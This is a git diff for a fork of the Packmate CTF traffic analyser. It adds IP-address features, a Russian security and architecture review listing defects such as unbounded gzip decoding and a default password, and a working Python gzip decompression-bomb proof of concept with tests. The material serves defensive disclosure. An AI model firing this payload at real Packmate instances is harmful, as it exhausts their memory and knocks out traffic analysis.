diff --git a/.gitignore b/.gitignore index d58c97f..a3c28d8 100644 --- a/.gitignore +++ b/.gitignore @@ -26,6 +26,7 @@ HELP.md /nbproject/private/ /nbbuild/ /dist/ +__pycache__/ /nbdist/ /.nb-gradle/ diff --git a/.gitmodules b/.gitmodules index 98136a0..4396bf4 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,4 @@ [submodule "frontend"] path = frontend - url = https://gitlab.com/packmate/packmate-frontend.git + url = git@github.com:Av0idD4rk/packmate.git + branch = frontend diff --git a/README.md b/README.md index 5b92747..5c98ad0 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ * Подстрока * Регулярное выражение * Бинарная подстрока +* Показывает IPv4/IPv6 адреса отправителя и получателя для каждого пакета * Умеет автоматически удалять стримы с определенным контентом, которые не нужно отображать * Умеет сохранять стримы в избранное и отображать только избранные стримы * Работает с несколькими сервисами на разных портах, может отображать стримы для конкретных сервисов и паттернов @@ -26,6 +27,21 @@ ![Скриншот главного окна](screenshots/Screenshot.png) +## Изменения этого форка + +IP-адреса сохраняются вместе с пакетами, возвращаются API и отображаются в +карточке как `source → destination`. + +Старые записи не содержат IP-адресов, поскольку исходная версия их не сохраняла. +Для восстановления адресов нужно повторно импортировать исходный PCAP. +Подробности и описание API находятся в +[docs/IP_ADDRESSES.md](docs/IP_ADDRESSES.md). + +В [docs/ARCHITECTURE_REVIEW_RU.md](docs/ARCHITECTURE_REVIEW_RU.md) находится +ревью готовности к крупным Attack/Defense соревнованиям. Проверочный скрипт для +неограниченной распаковки GZIP HTTP находится в +[poc/http_gzip_expansion.py](poc/http_gzip_expansion.py). + ## Быстрый запуск Для быстрого запуска Packmate следует использовать [этот стартер](https://gitlab.com/packmate/starter/-/blob/master/README.md). @@ -35,15 +51,15 @@ ### Клонирование Поскольку этот репозиторий содержит фронтенд как git submodule, его необходимо клонировать так: ```bash -git clone --recurse-submodules https://gitlab.com/packmate/Packmate.git +git clone --recurse-submodules git@github.com:Av0idD4rk/packmate.git # Или, на старых версиях git -git clone --recursive https://gitlab.com/packmate/Packmate.git +git clone --recursive git@github.com:Av0idD4rk/packmate.git ``` Если репозиторий уже был склонирован без подмодулей, необходимо выполнить: ```bash -git pull # Забираем свежую версию мастер-репы из gitlab +git pull # Забираем свежую версию master из GitHub git submodule update --init --recursive ``` diff --git a/docs/ARCHITECTURE_REVIEW_RU.md b/docs/ARCHITECTURE_REVIEW_RU.md new file mode 100644 index 0000000..6e5cfdd --- /dev/null +++ b/docs/ARCHITECTURE_REVIEW_RU.md @@ -0,0 +1,318 @@ +# Packmate: ревью перед крупным Attack/Defense CTF + +Дата: 2026-10-10. Backend: `938031f1dedfbedabef5b049368ed5b6ba6a900a`; +frontend: `8f23d97100f11cd6671bb62aca5ce9b6a898b865`, плюс локальный патч IP-адресов. +Проверку выполнили три сабагента по направлениям capture/decoders, backend/DB/API, +frontend/deployment; основной агент сопоставил результаты с исходниками. + +Обновление после ревью: реализована regex-фильтрация по IP и необходимое для неё +исправление live pattern-фильтра (пункт 9: `foundPatternsIds`). Остальные находки +ниже остаются открытыми. По просьбе пользователя работа идёт по одному этапу +с остановкой после проверки; следующий предложенный этап — зацикливание regex +по содержимому (пункт 1). + +## Вывод + +В текущем виде я бы не использовал Packmate как единственный анализатор трафика +на крупном соревновании. Есть подтверждённые пути зависания обработки, потери +содержимого, неверного отображения и неограниченного роста памяти. Их нужно +исправить до оценки максимальной пропускной способности. Добавление CPU/RAM или +реплик приложения само по себе эти ошибки не устраняет. + +Это ревью исходников, а не сертификат производительности. Нагрузочный replay, +PostgreSQL EXPLAIN и испытание live capture не проводились. Предполагаемая цель — +инструмент команды, принимающий трафик её сервисов; центральный сбор всех команд +потребует дополнительно определить изоляцию данных, число sensors и бюджет хранения. + +## Текущая архитектура + +```mermaid +flowchart LR + NIC[Интерфейс / PCAP] --> PCAP[pcap4j: pcap-loop] + PCAP --> Q[Live: неограниченная очередь] + Q --> P[Один pcap-processor] + P --> M[Потоки целиком в heap] + M --> D[TLS / WebSocket / HTTP] + D --> F[Поиск паттернов] + F --> DB[(PostgreSQL через JPA)] + DB --> WS[Синхронная рассылка SockJS] + WS --> UI[Vue 2 SPA] + UI --> API[REST в том же JVM] + API --> DB + LB[Lookback / retention] --> DB +``` + +В FILE-режиме обработка идёт inline. Backend, capture, декодирование, REST, +WebSocket и фоновые задачи работают в одной JVM. PostgreSQL хранит метаданные, +payload `bytea` и совпадения: `Stream → Packet → FoundPattern`, плюс связь +`Stream ↔ Pattern`. Vue поставляется внутри JAR. Compose запускает приложение +и одну PostgreSQL на host-network. Конфигурация предполагает один `localIp`, +сервис идентифицируется портом; caches и подписчики локальны для процесса. + +## Находки с высоким приоритетом + +P1 означает исправление до большого соревнования; P2 — следующий обязательный +этап укрепления. Приоритет учитывает условия воспроизведения, а не измеренную частоту. +Пути ниже относительно корня репозитория; номера строк относятся к проверенной версии. + +### 1. P1: обработка может зациклиться на обычном regex + +`src/main/java/ru/serega6531/packmate/service/PatternMatcher.java:52–59`: +цикл вызывает `matcher.find(startPos)` и присваивает `startPos = matcher.end()`. +При пустом совпадении (`^`, `a*`) позиция не сдвигается. Для `^` каждый поиск +снова находит диапазон `[0,0)`. Live processor перестаёт сохранять последующие +потоки, очередь продолжает расти. + +Исправить продвижение поиска: использовать `Matcher.find()` без ручного сброса +позиции и определить политику пустых совпадений. Ограничить стоимость regex на +недоверенном payload; один timeout вокруг Java regex не гарантирует остановку +вычисления. При необходимости использовать движок с ограниченным временем +поиска/линейной сложностью или изолированный worker. + +### 2. P1: один consumer и очередь без лимита + +`pcap/LivePcapWorker.java:39`, `pcap/AbstractPcapWorker.java:202`, +`service/StreamService.java:107–141` под `src/main/java/ru/serega6531/packmate/`. +`LinkedBlockingQueue<>` не ограничена практически полезным бюджетом. Единственный +обработчик синхронно декодирует поток, ищет паттерны, сохраняет его и рассылает WS. +Медленная БД, дорогой regex или клиент UI увеличивают backlog захваченных payload +в heap вплоть до OOM. + +Разделить этапы, ограничить очереди по байтам и количеству элементов, добавить +spool на диск и явную политику перегрузки. Блокирование callback захвата при +полной очереди само по себе переносит потери в capture/kernel buffer. Нужны +счётчики потерь и возможность повторной обработки сохранённого сырого трафика. + +### 3. P1: активные соединения не имеют лимита размера и возраста + +`pcap/AbstractPcapWorker.java:180,237`, `tasks/TimeoutStreamsSaver.java:16`. +Сохраняется весь список пакетов; проверяется только idle timeout последнего +пакета. Постоянный WebSocket/UDP/keep-alive поток может расти весь раунд и +появиться в UI только после завершения/простоя. FILE-режим не запускает timeout +saver: UDP и незакрытые TCP могут копиться до EOF большого дампа. + +Ввести общий budget активных flow, предел байтов на flow, максимальную длительность +сегмента и периодическое сохранение частей с общим connection ID. Для FILE +эвикция должна использовать время пакетов, а не wall clock обработки дампа. + +### 4. P1: отсутствует TCP reassembly по sequence numbers + +`pcap/AbstractPcapWorker.java:96`, `utils/PacketUtils.java:21`. +SEQ не учитывается: payload конкатенируется в порядке захвата. Retransmission +дублирует байты, out-of-order меняет содержимое, gaps не обозначаются. Это +влияет на поиск флагов, воспроизводимость запросов и декодирование протоколов. + +Нужен двунаправленный reassembly с SYN/SEQ, retransmit/overlap policy, ограниченным +окном reorder и признаками incomplete/gap/truncated. Сохранять исходный capture +и производное представление раздельно. TLS parser также должен получать поток +байтов: сейчас `service/optimization/TlsDecryptor.java:70,275` пытается разобрать +TLS record из каждого отдельного TCP payload до объединения. + +### 5. P1: HTTP pipelining теряет данные, распаковка не ограничена + +`service/optimization/HttpProcessor.java:34–43,51–63`, +`service/optimization/StreamOptimizer.java:54`. +После merge парсится одно HTTP-сообщение; весь исходный блок заменяется им. +Два запроса в одном блоке теряют второй перед поиском паттернов. Декодированное +тело пишется в растущий `ByteArrayOutputStream`; аргумент `256` у +`writeDecodedTo` — размер рабочего буфера, а не лимит результата. + +Потеря второго запроса подтверждена запуском собранного `HttpProcessor` через +временный Java harness: вход 87 байт с `/first` и `/second`, выход 43 байта, +`HTTP_FIRST_PRESENT=true`, `HTTP_SECOND_PRESENT=false`. Ошибочное равенство +ключей flow из раздела P2 также подтверждено исполнением `UnfinishedStream`: +разные пары endpoint имеют `equals=true` и одинаковый hash. + +Разбирать все сообщения с учётом framing, сохранять необработанный остаток, +ограничить размер декодированного тела, коэффициент расширения и бюджет обработки. +Оставлять raw bytes доступными независимо от результата декодирования. + +Воспроизводимый сетевой PoC находится в `poc/http_gzip_expansion.py`. Он +отправляет gzip HTTP POST на указанный host/port и позволяет задать точный +объём после распаковки. Проверочный запуск с `100MiB` передал 101 942 байта +сжатого тела при ожидаемых 104 857 600 байтах после декодирования (1028,6×). +Инструкция и ограничения: `poc/README.md`. + +### 6. P1: страница пакетов может загрузить весь оставшийся поток + +`repository/StreamRepository.java:21–27`, `service/StreamService.java:261`. +`LEFT JOIN FETCH p.matches` объединён с `Pageable`. При fetch join коллекции +Hibernate ограничивает результат в памяти: небольшой pageSize не ограничивает +объём прочитанных packets/payload/matches. Повторные страницы большого потока +снова выполняют дорогую загрузку. Это вывод по семантике Hibernate; SQL-трасса +на реальной PostgreSQL в этом ревью не снималась. + +Сначала получать страницу ID с SQL LIMIT, затем выбранные packets и matches. +Кандидат индекса: `(stream_id,id)`. Включить +`hibernate.query.fail_on_pagination_over_collection_fetch=true` как регрессионную +защиту. Дополнительно ограничить pageSize и байты ответа на сервере. + +### 7. P1: lookback и retention работают слишком крупными транзакциями + +`service/StreamService.java:145–159,270,309`, `repository/StreamRepository.java:19`. +Lookback выбирает весь интервал и держит загружаемые packet graphs в одном +persistence context. Derived delete retention удаляет сущности через ORM +cascade, а не ограниченный bulk SQL. Большая история создаёт heap pressure, +длинные транзакции и конкуренцию с ingest. `docker-compose.yml:11` дополнительно +отключает cleanup по умолчанию, позволяя БД расти до заполнения диска. + +Lookback: durable jobs, ограниченный executor, курсор, небольшие транзакции, +отмена и прогресс. Retention: ограниченные SQL batches с продуманным FK cascade, +затем временные партиции. Перед удалением партиции избранные потоки нужно +перенести/сохранить отдельно. Политика хранения должна включать бюджет диска. + +### 8. P1: общее изменяемое состояние небезопасно для concurrency + +`service/PatternService.java:39,67,139`, `service/ServicesService.java:35,76,119`: +HTTP изменяет обычные HashMap, пока capture и async job их читают/итерируют. +Возможны CME и несогласованные настройки. `service/PatternMatcher.java:19–21,141–147` +кеширует общие mutable KMP searchers; `utils/KMPStringSearcher.java:16,46,70` +содержит изменяемый `lastEnd`. Live и lookback могут портить позиции совпадений +друг друга даже после замены map на concurrent variant. + +Публиковать immutable snapshots конфигурации после commit. Кешировать только +неизменяемые скомпилированные паттерны; состояние поиска создавать на операцию. +Не увеличивать число capture workers без явного владения состоянием каждого flow. + +### 9. P1: live-фильтр по паттерну ломает новые события + +`frontend/src/components/Sidebar.vue:206` читает `stream.foundPatterns.some`, +а `model/pojo/StreamDto.java:16` отдаёт `foundPatternsIds`. Воспроизведено запуском +реального метода компонента в Node: корректный DTO с `foundPatternsIds:[1]` +вызывает TypeError; новый поток при активном pattern-фильтре не появляется. + +Использовать `foundPatternsIds.includes(Number(route.query.pattern))` и общий +контракт REST/WS с проверкой события активного фильтра. + +### 10. P1: UI не ограничивает историю и смешивает ответы разных запросов + +`frontend/src/components/Sidebar.vue:35,210`: каждый NEW_STREAM добавляется +в неограниченный массив, весь массив рендерится. При условных 100 events/s за час +это 360 000 элементов, если вкладка успевает принять события. Это арифметический +пример роста, не результат нагрузочного теста. + +`frontend/src/views/ContentStream.vue:62–77`: запоздалый ответ A добавляется +в массив после перехода к B. Воспроизведено вызовом исходного метода с отложенным +HTTP-ответом. Аналогичная гонка есть у смены фильтра sidebar. + +Ограничить окно истории, виртуализировать списки, пакетировать live updates. +Отменять запросы и проверять generation/request key до изменения данных и +состояния infinite loader. Виртуализация без ограничения массива не решает память. + +### 11. P1 при доступности из игровой сети: небезопасные значения запуска + +`docker-compose.yml:9–10,20`, `docker/Dockerfile_app:26`: известный fallback +`BinaryBears/123456`, host-network и bind `0.0.0.0`. Если UI-порт достижим +противником и пароль не переопределён, доступны захваченные данные и управление. +Это условный риск конфигурации, а не утверждение о доступности данного компьютера. + +Сделать web password обязательным, отделить management network/VPN и capture +interface, настроить TLS для доступа. `configuration/SecurityConfiguration.java:60` +также пишет введённый пароль при ошибке входа — убрать его из логов. + +## Дополнительные исправления P2 + +| Проблема | Место | Что изменить | +|---|---|---| +| Ключ flow независимо переставляет IP и порты: `A:80→B:50000` равен `A:50000→B:80` | `model/pojo/UnfinishedStream.java:21` | Сравнивать пары `(IP,port)` целиком, затем протокол; выделять новые поколения TCP-соединений | +| Shutdown закрывает pcap, но не дренирует очередь и не сохраняет активные потоки | `pcap/LivePcapWorker.java:63` | Остановить producer, drain consumer, flush flows, завершить executors до закрытия БД | +| HEX искажает байты: `FF 80 00` превращается в `FD FD 00` | `frontend/src/components/Packet.vue`, computed `hexdata`, `atou`, `hexdump` | Строить HEX из Uint8Array без UTF-8 преобразования; дефект воспроизведён в Node | +| WS не имеет восстановления пропущенных событий | `service/SubscriptionService.java:53–59`, `frontend/src/App.vue:62` | Отдельная очередь на сессию, последовательная отправка, лимиты, cursor/resync при reconnect/overflow | +| Lookback продвигает checkpoint до выполнения, FINISH уходит до commit | `service/PatternService.java:153–158`, `service/StreamService.java:159` | Durable job/checkpoint после успешного чанка, after-commit/outbox, идемпотентность повторов | +| Lookback не применяет ограничение паттерна по сервису | `service/StreamService.java:148,211` | Одинаковая фильтрация сервиса для live и historical поиска | +| Список streams платит за count и lazy N+1; индексы не соответствуют фильтрам | `service/StreamService.java:302`, `configuration/ApplicationConfiguration.java:62`, `model/Stream.java:33` | Slice/limit+1, projections/batch fetch; проверить индексы service+id, timestamps, favorite через EXPLAIN | +| Minute counters обновляются и очищаются без синхронизации | `service/CountingService.java:20–46` | Атомарный snapshot/reset; раздельные captured/persisted/ignored/dropped counters | +| Размер страницы не ограничен | `model/pojo/PacketPagination.java:12`, `model/pojo/StreamPagination.java:13` | Validation min/max, предел байтов ответа и времени запроса | +| Публикация Docker образа не требует Java test | `docker/Dockerfile_app:10`, `.gitlab-ci.yml:20` | Обязательный test gate и frontend lint/build; npm ci, фиксированные версии образов | + +Пути Java в таблице находятся под `src/main/java/ru/serega6531/packmate/`. +CSRF отключён при browser Basic auth (`SecurityConfiguration.java:36`): +пересмотреть защиту изменяющих состояние endpoints; браузерная эксплуатация +в рамках ревью не проверялась. У приложения нет отдельного healthcheck и +использования pcap drop statistics; лог executor раз в минуту не определяет +сохранность захвата. Поддержка RSA TLS в коде не означает поддержку расшифровки +ECDHE/TLS 1.3 без session secrets. + +## Предлагаемая архитектура развития + +```mermaid +flowchart LR + S[Capture sensors] --> R[Ограниченный дисковый spool / raw segments] + R --> A[Reassembly: владелец каждого flow] + A --> W[Workers: decode и matching] + W --> D[(PostgreSQL: metadata / matches)] + W --> B[(Сжатые payload segments)] + D --> O[Outbox / events] + O --> G[WS gateway с cursors] + G --> U[UI с ограниченным окном] + U --> Q[Query API] + Q --> D + Q --> B +``` + +Сначала эти границы можно реализовать в одном развёртывании с отдельными +очередями и worker pools. Отдельные сервисы и общая шина нужны после измерений. +Сборщик должен владеть всем состоянием конкретного соединения; распределение +делать по стабильному ключу `(sensor, endpoint A, endpoint B, protocol)`, +с учётом направления и поколения соединения. Shared mutable maps нельзя просто +обслуживать несколькими потоками. + +Для нескольких sensors ввести `sensorId`, самостоятельный `serviceId`, +endpoint host/IP+port+protocol, capture timestamps и признаки неполноты. +Сырые данные должны иметь retention и ссылку из метаданных. Вынос payload +из PostgreSQL рассматривать по измеренному IO/объёму; он усложняет атомарность, +удаление, доступ к данным и обработку orphan segments. Kafka/ClickHouse не +обязательны на первом этапе. + +## Порядок работ и критерии готовности + +1. **Корректность и остановка зависаний.** Исправить regex, KMP concurrency, + endpoint equality, HTTP pipelining, frontend filter/races/HEX. Добавить + проверки на retransmission/reorder/gaps и корректный TCP reassembly. + Acceptance: контрольные байты/флаги воспроизводятся без молчаливого искажения. +2. **Ограниченные ресурсы и восстановление.** Бюджеты очередей/flow/decode/UI, + сохранение частей долгих соединений, spool, graceful shutdown, WS resync. + Acceptance: искусственное замедление БД/браузера не ведёт к бесконечному heap; + пропуски явно измеряются, backlog восстанавливается из доступного spool. +3. **БД и фоновые задачи.** Двухэтапная пагинация, bounded lookback и retention, + индексы по EXPLAIN, durable checkpoints, отдельно сохранённые favorites. + Acceptance: запрос одной страницы ограничен объёмом страницы, а не историей; + фоновые задачи не исчерпывают DB pool и память ingest. +4. **Эксплуатация.** Обязательные credentials, management-доступ, CI gates, + метрики и alerting, проверяемый restart/recovery, управление версией схемы + через миграции вместо единственного `ddl-auto=update`. +5. **Измерение и масштабирование.** PCAP replay на целевом оборудовании с + реальным распределением packets/s, bytes/s, flows/s и размеров flow. + Проверить ожидаемый пик и запас, например 2×, плюс длительный прогон на + продолжительность соревнования. Только после этого обещать конкретный масштаб. + +Набор нагрузочных сценариев: короткие TCP, длительные TCP/UDP, retransmit/reorder, +HTTP pipelining и сжатие, TLS segmentation, крупные payload, частые regex matches; +одновременно несколько операторов, lookback и retention. Отдельно проверять +медленный WS-клиент, reconnect, замедление/недоступность БД, перезапуск процесса, +исчерпание бюджета spool и диска. Сравнивать входной manifest пакетов/флагов +с сохранёнными данными, включая корректное устранение retransmission. + +Измерять capture/kernel drops, accepted/persisted/ignored/truncated counts, +queue bytes и oldest age, active flow bytes, decode/match время, DB commit +p95/p99, capture→searchable и capture→UI lag, heap/RSS/GC, disk throughput, +retention duration, API p95/p99, browser heap/DOM. Пороговые значения согласовать +с фактическим объёмом и задачами команды. Для ориентира бюджета: непрерывный +1 Gbit/s — около 450 GB за час до сжатия и накладных расходов хранения. + +## Границы текущих изменений + +В этой рабочей копии реализован запрос на IP-адреса пакетов и добавлены проверки +их сохранения при merge/DTO mapping, включая IPv6 и старые записи. Рекомендации +ревью выше являются планом доработок; архитектура по ним ещё не переписана. +Инструкция по патчу: [IP_ADDRESSES.md](IP_ADDRESSES.md). + +Проверки рабочей копии: backend `bootJar` собран; все 5 новых тестов IP прошли +при первом прогоне. Полный прогон первоначально дал 12/13: существующий TLS-тест +падает на CRLF в PEM (`Illegal base64 character d`), потому что `RsaKeysHolder` +удаляет только LF. После нормализации **копии** fixture в `build/resources/test` +на LF и запуска `test -x processTestResources` прошли 13/13. Исходник PEM и TLS +loader не изменялись; Windows-совместимость loader требует отдельного исправления. +Frontend lint изменённого компонента и production build прошли; сборщик +предупреждает о размере vendor bundle. Live capture, миграция схемы и полный +браузерный сценарий с работающим backend не запускались. diff --git a/docs/IP_ADDRESSES.md b/docs/IP_ADDRESSES.md new file mode 100644 index 0000000..b884254 --- /dev/null +++ b/docs/IP_ADDRESSES.md @@ -0,0 +1,76 @@ +# IP-адреса в карточках пакетов + +Пакеты теперь сохраняют `sourceIp` и `destinationIp` из IPv4/IPv6-заголовка +при захвате TCP и UDP. Эти поля возвращаются в API пакетов и выводятся над +содержимым в формате `источник → получатель`, в текстовом и HEX-режиме. +Склеивание соседних пакетов сохраняет адреса; TLS/WebSocket обработчики +наследуют их через `toBuilder()`. + +При запуске штатный `spring.jpa.hibernate.ddl-auto=update` добавит nullable +колонки `source_ip` и `destination_ip` в таблицу `packet`. Старые записи +останутся без адресов: раньше эти данные не сохранялись. Для их восстановления +нужен повторный импорт исходного PCAP. Если автоматическое изменение схемы +отключено, перед запуском нужно добавить две nullable колонки varchar(255). + +Изменены backend и git submodule `frontend`; при переносе правок нужно +сохранять изменения обоих репозиториев. Для существующего Linux-развёртывания +с настроенным `.env` пересоберите приложение: + +```sh +docker compose up -d --build packmate +``` + +Проверка backend: `./gradlew test bootJar` (JDK 17). +Проверка frontend: `npm ci`, `npm run lint -- --no-fix src/components/Packet.vue`, +`NODE_OPTIONS=--openssl-legacy-provider npm run build` (проверено с Node 18). + +Результат: 5 новых проверок IP прошли, frontend lint/build и backend bootJar +успешны. В Windows существующий TLS-тест зависит от LF в PEM-файле: с CRLF +падает исходный `RsaKeysHolder`. После преобразования переносов только в +`build/resources/test/tls.key` и запуска `test -x processTestResources` прошли +все 13 тестов. Live capture и миграция PostgreSQL в этой проверке не запускались. + +## Фильтрация IP регулярным выражением + +В **Patterns → +** выберите **Search in**: + +- **Source IP** — адрес отправителя конкретного пакета; +- **Destination IP** — адрес получателя; +- **Either IP address** — совпадение хотя бы с одним из двух адресов; +- **Packet content** — прежний поиск по содержимому. + +При выборе IP метод автоматически переключается на **Regular expression**. +Например, `^10\.20\.30\.[0-9]+$` выбирает адреса с префиксом `10.20.30.`, +а `^192\.0\.2\.17$` — ровно один адрес. Regex проверяется по строке адреса, +показанной в карточке, без порта. IPv6 может быть записан в развёрнутой форме; +например, `(?i)^2001:db8:` ищет этот префикс независимо от регистра. +Поиск использует Java regex `find()`; якоря `^` и `$` задают совпадение всей строки. + +Для фильтра списка оставьте действие **Highlight found pattern**, сохраните +паттерн и выберите его в **Patterns**. Совпавшие IP подсвечиваются в карточках; +совпадения по адресам не меняют подсветку payload. Действие **Ignore matching +streams** исключает совпадающие новые потоки из сохранения. Направление +Request/Response задаётся отдельно; Source/Destination всегда относятся +к направлению конкретного пакета, а не к фиксированной роли client/server. + +Для уже сохранённых потоков с IP можно запустить **Apply pattern to older +streams**. Без сохранённых адресов IP-паттерн не совпадёт, даже с `.*`. +Существующее ограничение lookback по service описано в архитектурном ревью +(оно пока не исправлено); до его исправления historical поиск не обеспечивает +изоляцию выбранного сервиса. Новые потоки учитывают service и direction. + +API создания паттерна получает новое поле `searchTarget`: +`CONTENT`, `SOURCE_IP`, `DESTINATION_IP`, `EITHER_IP`. Для IP допустим только +`searchType: REGEX`. Если поле отсутствует/null, действует прежний поиск CONTENT. +API совпадений возвращает `searchTarget` фактически совпавшего поля. + +При обновлении также добавляются nullable строковые колонки `search_target` +в таблицы `pattern` и `found_pattern` (штатный Hibernate ddl-auto=update). +Null в старых строках означает CONTENT. При ручном управлении схемой добавьте +эти две колонки varchar(255) перед запуском. Backend и frontend нужно обновить +совместно; frontend находится в отдельном git submodule. + +Проверки этого этапа: 20 backend tests (12 новых сценариев IP-паттернов плюс +существующие matching/IP tests), 5 frontend tests (`npm run test:ip-patterns`), +lint четырёх компонентов, frontend production build и backend bootJar — успешны. +Работа с живым захватом и PostgreSQL в этом этапе не проверялась. diff --git a/frontend b/frontend index 8f23d97..9896d4b 160000 --- a/frontend +++ b/frontend @@ -1 +1 @@ -Subproject commit 8f23d97100f11cd6671bb62aca5ce9b6a898b865 +Subproject commit 9896d4b104cdcfaacd0fec35a3c0e8b8f8ed69cc diff --git a/poc/README.md b/poc/README.md new file mode 100644 index 0000000..49f3571 --- /dev/null +++ b/poc/README.md @@ -0,0 +1,24 @@ +# HTTP gzip expansion PoC + +`http_gzip_expansion.py` sends an HTTP POST whose gzip body expands to the +requested number of bytes. It is intended to demonstrate that Packmate's +current `HttpProcessor` has no decoded-body limit. + +Start any TCP/HTTP listener on a port configured in Packmate as an HTTP service, +then send the request. For example: + +```powershell +python -m http.server 8080 +python poc/http_gzip_expansion.py --port 8080 --decompressed-bytes 100MiB +``` + +The HTTP listener may answer with an error; Packmate still captures the request. +The connection must complete or reach Packmate's stream timeout before Packmate +processes it. Watch the Packmate JVM's heap while increasing the value gradually. + +The argument accepts exact bytes or `KiB`, `MiB`, `GiB`, `KB`, `MB`, `GB`. +It controls the decoded body only; the compressed request stays much smaller +because it consists of repeated `A` bytes. TCP is a byte stream, so the OS may +split the request across several network packets. + +Run this only against a listener and Packmate instance you control. diff --git a/poc/http_gzip_expansion.py b/poc/http_gzip_expansion.py new file mode 100644 index 0000000..fda068f --- /dev/null +++ b/poc/http_gzip_expansion.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Send a small gzip-compressed HTTP request with a configurable decoded size. + +The target must have a TCP listener on the selected port. Packmate must capture +that connection and have the port configured as an HTTP service. +""" + +from __future__ import annotations + +import argparse +import socket +import sys +import zlib + + +CHUNK_SIZE = 1024 * 1024 +DEFAULT_DECOMPRESSED_BYTES = 8 * 1024 * 1024 + + +def byte_count(value: str) -> int: + """Parse a positive byte count, optionally with KiB/MiB/GiB suffixes.""" + suffixes = { + "": 1, + "b": 1, + "kib": 1024, + "mib": 1024**2, + "gib": 1024**3, + "kb": 1000, + "mb": 1000**2, + "gb": 1000**3, + } + normalized = value.strip().lower() + number = normalized + suffix = "" + for candidate in sorted(suffixes, key=len, reverse=True): + if candidate and normalized.endswith(candidate): + number = normalized[: -len(candidate)] + suffix = candidate + break + try: + result = int(number) * suffixes[suffix] + except (KeyError, ValueError) as exc: + raise argparse.ArgumentTypeError( + "use an integer byte count, optionally with KiB/MiB/GiB" + ) from exc + if result <= 0: + raise argparse.ArgumentTypeError("the decoded size must be greater than zero") + return result + + +def gzip_repeated_bytes(decoded_size: int, fill_byte: int = ord("A")) -> bytes: + """Create gzip data without allocating the decoded representation.""" + compressor = zlib.compressobj(level=9, wbits=16 + zlib.MAX_WBITS) + compressed_parts: list[bytes] = [] + full_chunk = bytes([fill_byte]) * CHUNK_SIZE + remaining = decoded_size + + while remaining: + current_size = min(remaining, CHUNK_SIZE) + compressed_parts.append(compressor.compress(full_chunk[:current_size])) + remaining -= current_size + + compressed_parts.append(compressor.flush()) + return b"".join(compressed_parts) + + +def build_request(host_header: str, path: str, decoded_size: int) -> tuple[bytes, int]: + body = gzip_repeated_bytes(decoded_size) + headers = ( + f"POST {path} HTTP/1.1\r\n" + f"Host: {host_header}\r\n" + "Content-Type: application/octet-stream\r\n" + "Content-Encoding: gzip\r\n" + f"Content-Length: {len(body)}\r\n" + f"X-Packmate-Decoded-Bytes: {decoded_size}\r\n" + "Connection: close\r\n" + "\r\n" + ).encode("ascii") + return headers + body, len(body) + + +def send_request(host: str, port: int, request: bytes, timeout: float) -> None: + with socket.create_connection((host, port), timeout=timeout) as connection: + connection.settimeout(timeout) + connection.sendall(request) + connection.shutdown(socket.SHUT_WR) + + +def parser() -> argparse.ArgumentParser: + result = argparse.ArgumentParser( + description=( + "Send a gzip HTTP POST to demonstrate Packmate's unbounded HTTP " + "decompression. Use only against a listener you control." + ) + ) + result.add_argument("--host", default="127.0.0.1", help="target host (default: loopback)") + result.add_argument("--port", required=True, type=int, help="target TCP port") + result.add_argument( + "--decompressed-bytes", + type=byte_count, + default=DEFAULT_DECOMPRESSED_BYTES, + help="decoded body size, e.g. 104857600 or 100MiB (default: 8MiB)", + ) + result.add_argument("--path", default="/packmate-gzip-poc", help="HTTP request path") + result.add_argument("--timeout", default=10.0, type=float, help="connect/send timeout in seconds") + return result + + +def main() -> int: + args = parser().parse_args() + if not 1 <= args.port <= 65535: + print("error: port must be between 1 and 65535", file=sys.stderr) + return 2 + if not args.path.startswith("/"): + print("error: path must start with '/'", file=sys.stderr) + return 2 + + request, compressed_size = build_request( + f"{args.host}:{args.port}", args.path, args.decompressed_bytes + ) + ratio = args.decompressed_bytes / compressed_size + + print(f"Target: {args.host}:{args.port}") + print(f"Compressed body: {compressed_size:,} bytes") + print(f"Decoded body: {args.decompressed_bytes:,} bytes") + print(f"Expansion ratio: {ratio:,.1f}x") + print(f"TCP bytes to send: {len(request):,} bytes") + + try: + send_request(args.host, args.port, request, args.timeout) + except OSError as exc: + print(f"send failed: {exc}", file=sys.stderr) + return 1 + + print("Request sent. Wait for the stream to close or for Packmate's timeout.") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/poc/test_http_gzip_expansion.py b/poc/test_http_gzip_expansion.py new file mode 100644 index 0000000..b7b8ccd --- /dev/null +++ b/poc/test_http_gzip_expansion.py @@ -0,0 +1,60 @@ +import gzip +import importlib.util +from pathlib import Path +import socket +import threading +import unittest + + +SCRIPT_PATH = Path(__file__).with_name("http_gzip_expansion.py") +SPEC = importlib.util.spec_from_file_location("http_gzip_expansion", SCRIPT_PATH) +POC = importlib.util.module_from_spec(SPEC) +assert SPEC.loader is not None +SPEC.loader.exec_module(POC) + + +class HttpGzipExpansionTest(unittest.TestCase): + def test_configured_decoded_size(self): + request, compressed_size = POC.build_request("localhost:8080", "/test", 3_500_123) + headers, compressed = request.split(b"\r\n\r\n", 1) + + self.assertEqual(compressed_size, len(compressed)) + self.assertIn(f"Content-Length: {len(compressed)}".encode(), headers) + self.assertIn(b"X-Packmate-Decoded-Bytes: 3500123", headers) + self.assertEqual(3_500_123, len(gzip.decompress(compressed))) + + def test_suffixes(self): + self.assertEqual(100 * 1024**2, POC.byte_count("100MiB")) + self.assertEqual(10_000_000, POC.byte_count("10MB")) + self.assertEqual(4096, POC.byte_count("4096")) + + def test_sends_complete_request_to_tcp_listener(self): + received = bytearray() + ready = threading.Event() + address = [] + + def server(): + with socket.socket() as listener: + listener.bind(("127.0.0.1", 0)) + listener.listen(1) + address.append(listener.getsockname()) + ready.set() + connection, _ = listener.accept() + with connection: + while chunk := connection.recv(65536): + received.extend(chunk) + + thread = threading.Thread(target=server, daemon=True) + thread.start() + self.assertTrue(ready.wait(2)) + + request, _ = POC.build_request("localhost", "/test", 2 * 1024**2) + POC.send_request(address[0][0], address[0][1], request, 2) + thread.join(2) + + self.assertFalse(thread.is_alive()) + self.assertEqual(request, bytes(received)) + + +if __name__ == "__main__": + unittest.main() diff --git a/src/main/java/ru/serega6531/packmate/model/FoundPattern.java b/src/main/java/ru/serega6531/packmate/model/FoundPattern.java index 724b89b..b4076d2 100644 --- a/src/main/java/ru/serega6531/packmate/model/FoundPattern.java +++ b/src/main/java/ru/serega6531/packmate/model/FoundPattern.java @@ -4,6 +4,7 @@ import lombok.*; import org.hibernate.Hibernate; import org.hibernate.annotations.GenericGenerator; import org.hibernate.annotations.Parameter; +import 